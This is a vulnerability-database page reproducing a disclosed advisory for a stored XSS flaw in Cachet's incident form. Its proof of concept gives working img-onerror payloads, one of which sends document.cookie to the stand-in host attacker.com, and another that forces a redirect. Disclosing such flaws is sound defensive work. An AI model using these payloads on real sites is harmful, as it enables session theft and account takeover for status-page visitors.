Medium

Cachet has Stored XSS in Incident Component

  • Disclosed: 20.10.2026
  • Updated: 21.10.2026 00:18

Summary

A stored Cross-Site Scripting (XSS) vulnerability exists in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover.

Details

The incident Name and Message fields do not properly sanitize HTML event handler attributes. While <script> tags appear to be filtered, event-based payloads are not blocked.

  • Affected endpoint: /dashboard/incidents/
  • Affected fields: Incident Name, Incident Message
  • Affected version: Cachet v3

PoC

  1. Log in as an authenticated user
  2. Navigate to /dashboard/incidents/
  3. Create a new incident
  4. Insert the following payloads in the Name and Message field:

Payload 1 — Confirm XSS execution: <img src=x onerror="alert(1)">

Step 2 — Cookie/token exfiltration: <img src=x onerror="fetch('http://attacker.com/leak?c='+document.cookie)">

Step 3 — Forced redirect to sensitive page: <img src=x onerror="window.location='/dashboard/manage-customization'">

  1. Save the incident
  2. Navigate to the public status page
  3. Payload executes in the victim's browser

Payload 1

<img width="1926" height="1062" alt="Screenshot_2026-05-05_21_19_21" src="https://github.com/user-attachments/assets/3ec50987-332d-4ba2-8fd2-b18ccc8d8f6b" />

Payload 2

<img width="1910" height="525" alt="Screenshot_2026-05-07_12_22_07" src="https://github.com/user-attachments/assets/3b34170d-a2f0-4962-9e20-1fc8e305c589" />

Impact

Stored XSS affecting all users who view the public status page.

An attacker can:

  • Confirm script execution via alert popup
  • Steal session cookies and XSRF tokens from authenticated users
  • Silently redirect victims to sensitive pages like /dashboard/manage-customization

This vulnerability could lead to full account takeover of any user who views the status page, including administrators.

What to do

Remediation is not established.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package cachethq/cachet <= 2.4.1 no fix

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Weakness (CWE)
CWE-79
Platform
Composer
Package
cachethq/cachet
Disclosed
20.10.2026
Updated
21.10.2026 00:18

Sources and licenses · Edited or translated by DockRay; source rights and applicable licenses are retained.

OSV / GitHub Advisory Database - GHSA-x397-5hrv-j9m9 - CC BY 4.0

Vulnerability history: cachethq/cachet

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
6
First → latest
08.2021 10.2026
Without a fix
2
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 4
  • Medium 1

Disclosures per year

  1. 2021: 4
  2. 2022: 0
  3. 2023: 1
  4. 2024: 0
  5. 2025: 0
  6. 2026: 1
  1. Cachet has Stored XSS in Incident Component this entry
    Medium CVE-2026-113712 <= 2.4.1 no fix
  2. Critical · 9.1 CVE-2023-43661 < 2.4 2.4
  3. High · 8.1 CVE-2021-39165 <= 2.3.18 no fix
  4. High · 8.8 CVE-2021-39174 < 2.5.1 2.5.1
  5. High · 8.8 CVE-2021-39173 < 2.5.1 2.5.1

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.